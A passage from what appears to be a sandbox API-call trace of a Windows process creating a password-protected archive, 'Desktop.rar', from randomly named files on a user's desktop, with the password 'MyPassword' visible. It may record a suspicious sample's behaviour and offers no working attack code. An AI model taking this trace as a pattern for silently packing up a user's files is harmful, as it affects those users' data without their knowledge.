dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0066.634] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x11600, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x11600, lpOverlapped=0x0) returned 1 [0066.635] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.635] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.635] SetFilePointer (in: hFile=0x32c, lDistanceToMove=120411, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1d65b [0066.636] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1d65b [0066.636] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef7c0 [0066.636] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0066.636] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb50, Size=0x48) returned 0x1ec0a656c90 [0066.636] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0066.636] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefc70 [0066.636] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefc70, Size=0x48) returned 0x1ec0a656fb0 [0066.636] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0066.636] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0066.636] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefc70 [0066.636] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0066.636] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0066.636] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefc70 | out: hHeap=0x1ec0a590000) returned 1 [0066.636] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef7c0, Size=0x48) returned 0x1ec0a6577d0 [0066.636] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64abb0 [0066.636] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64abb3*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64abb3*, lpNumberOfBytesWritten=0xe414d8140*=0x60, lpOverlapped=0x0) returned 1 [0066.637] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef7c0 [0066.637] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0a5c4480 [0066.637] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0066.637] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64abb0 | out: hHeap=0x1ec0a590000) returned 1 [0066.637] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x2ecbb [0066.637] CloseHandle (hObject=0x350) returned 1 [0066.637] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.637] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.637] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.637] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.637] FindFirstFileW (in: lpFileName="1GbClcrwPdCacbM-.png", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0a68dce0 [0066.637] FindClose (in: hFindFile=0x1ec0a68dce0 | out: hFindFile=0x1ec0a68dce0) returned 1 [0066.637] CreateFileW (lpFileName="1GbClcrwPdCacbM-.png" (normalized: "c:\\users\\fd1hvy\\desktop\\1gbclcrwpdcacbm-.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.637] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.637] GetTickCount () returned 0x268f1 [0066.637] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.637] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0066.637] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.638] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0066.638] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="0RRIlXg9.xls") returned 12 [0066.638] SetWindowTextW (hWnd=0x1028c, lpString="1GbClcrwPdCacbM-.png") returned 1 [0066.638] GetTickCount () returned 0x268f1 [0066.638] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.638] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0066.638] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0066.639] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0066.639] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x83)) [0066.639] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0066.639] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15796722484) returned 1 [0066.639] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xbed6, lpOverlapped=0x0) returned 1 [0066.639] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d910f16, nNumberOfBytesToRead=0xf412a, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d910f16*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0066.639] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.639] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.639] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0066.639] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6d0 [0066.639] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef6d0, Size=0x48) returned 0x1ec0a6577d0 [0066.639] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0066.639] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef730 [0066.639] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef730, Size=0x48) returned 0x1ec0a6569c0 [0066.639] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0066.639] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0066.639] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0066.639] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb20 [0066.639] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb20 | out: hHeap=0x1ec0a590000) returned 1 [0066.639] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd60 | out: hHeap=0x1ec0a590000) returned 1 [0066.639] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656ab0 [0066.639] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656ab0, Size=0x7a) returned 0x1ec0a649ec0 [0066.639] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0066.639] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0066.641] GetTickCount () returned 0x268f1 [0066.641] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15796993348) returned 1 [0066.641] GetTickCount () returned 0x268f1 [0066.641] GetTickCount () returned 0x268f1 [0066.641] GetTickCount () returned 0x268f1 [0066.641] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.641] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.641] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.642] ResetEvent (hEvent=0x344) returned 1 [0066.642] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.642] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.644] ResetEvent (hEvent=0x344) returned 1 [0066.644] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.644] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.646] GetTickCount () returned 0x268f1 [0066.646] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15797418767) returned 1 [0066.646] GetTickCount () returned 0x268f1 [0066.646] GetTickCount () returned 0x268f1 [0066.646] GetTickCount () returned 0x268f1 [0066.646] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.646] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.646] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.646] ResetEvent (hEvent=0x33c) returned 1 [0066.646] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.646] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.646] ResetEvent (hEvent=0x33c) returned 1 [0066.647] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.647] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.647] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.647] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.648] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x2ecbb [0066.648] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x2ed23 [0066.648] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0066.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.648] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0066.649] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0066.649] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0066.649] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xbf30, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xbf30, lpOverlapped=0x0) returned 1 [0066.649] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.649] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.649] SetFilePointer (in: hFile=0x32c, lDistanceToMove=191675, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x2ecbb [0066.650] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x2ecbb [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd00 [0066.650] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd00, Size=0x48) returned 0x1ec0a656f10 [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbe0 [0066.650] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbe0, Size=0x48) returned 0x1ec0a6577d0 [0066.650] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0066.650] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0066.650] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef700 | out: hHeap=0x1ec0a590000) returned 1 [0066.650] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0066.650] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a6569c0 [0066.650] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649ec0 [0066.650] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649ec3*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649ec3*, lpNumberOfBytesWritten=0xe414d8140*=0x68, lpOverlapped=0x0) returned 1 [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefc70 [0066.650] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x68) returned 0x1ec0a5c48e0 [0066.650] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0066.650] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0066.650] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x3ac53 [0066.650] CloseHandle (hObject=0x350) returned 1 [0066.650] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.650] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.650] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.650] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.650] FindFirstFileW (in: lpFileName="3 58nW.pps", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0a68e640 [0066.651] FindClose (in: hFindFile=0x1ec0a68e640 | out: hFindFile=0x1ec0a68e640) returned 1 [0066.651] CreateFileW (lpFileName="3 58nW.pps" (normalized: "c:\\users\\fd1hvy\\desktop\\3 58nw.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.651] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.651] GetTickCount () returned 0x268f1 [0066.651] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.651] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0066.651] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.651] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0066.651] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="1GbClcrwPdCacbM-.png") returned 20 [0066.651] SetWindowTextW (hWnd=0x1028c, lpString="3 58nW.pps") returned 1 [0066.652] GetTickCount () returned 0x26901 [0066.652] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 1 [0066.652] GetMessageW (in: lpMsg=0xe414dd6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd6b0) returned 1 [0066.652] GetFocus () returned 0x102a8 [0066.652] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd6b0) returned 1 [0066.652] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0066.652] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0066.652] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0066.652] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x93)) [0066.652] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0066.652] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15798110827) returned 1 [0066.653] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xa63e, lpOverlapped=0x0) returned 1 [0066.653] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90f67e, nNumberOfBytesToRead=0xf59c2, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90f67e*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0066.653] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.653] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.653] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0066.653] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0066.653] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a656c90 [0066.653] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c800 [0066.653] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0066.653] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a657140 [0066.653] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c800 | out: hHeap=0x1ec0a590000) returned 1 [0066.653] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0066.653] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef730 [0066.653] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefac0 [0066.653] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefac0 | out: hHeap=0x1ec0a590000) returned 1 [0066.653] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef730 | out: hHeap=0x1ec0a590000) returned 1 [0066.653] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef700, Size=0x48) returned 0x1ec0a657050 [0066.653] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657050, Size=0x7a) returned 0x1ec0a649ec0 [0066.653] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0066.653] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0066.655] GetTickCount () returned 0x26901 [0066.655] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15798323723) returned 1 [0066.655] GetTickCount () returned 0x26901 [0066.655] GetTickCount () returned 0x26901 [0066.655] GetTickCount () returned 0x26901 [0066.655] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.655] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.655] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.655] ResetEvent (hEvent=0x344) returned 1 [0066.655] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.655] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.657] ResetEvent (hEvent=0x344) returned 1 [0066.657] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.657] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.658] GetTickCount () returned 0x26901 [0066.658] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15798695360) returned 1 [0066.658] GetTickCount () returned 0x26901 [0066.658] GetTickCount () returned 0x26901 [0066.658] GetTickCount () returned 0x26901 [0066.658] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.658] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.658] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.659] ResetEvent (hEvent=0x33c) returned 1 [0066.659] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.659] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.659] ResetEvent (hEvent=0x33c) returned 1 [0066.659] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.659] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.660] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.660] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.660] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x3ac53 [0066.660] SetFilePointer (in: hFile=0x32c, lDistanceToMove=94, 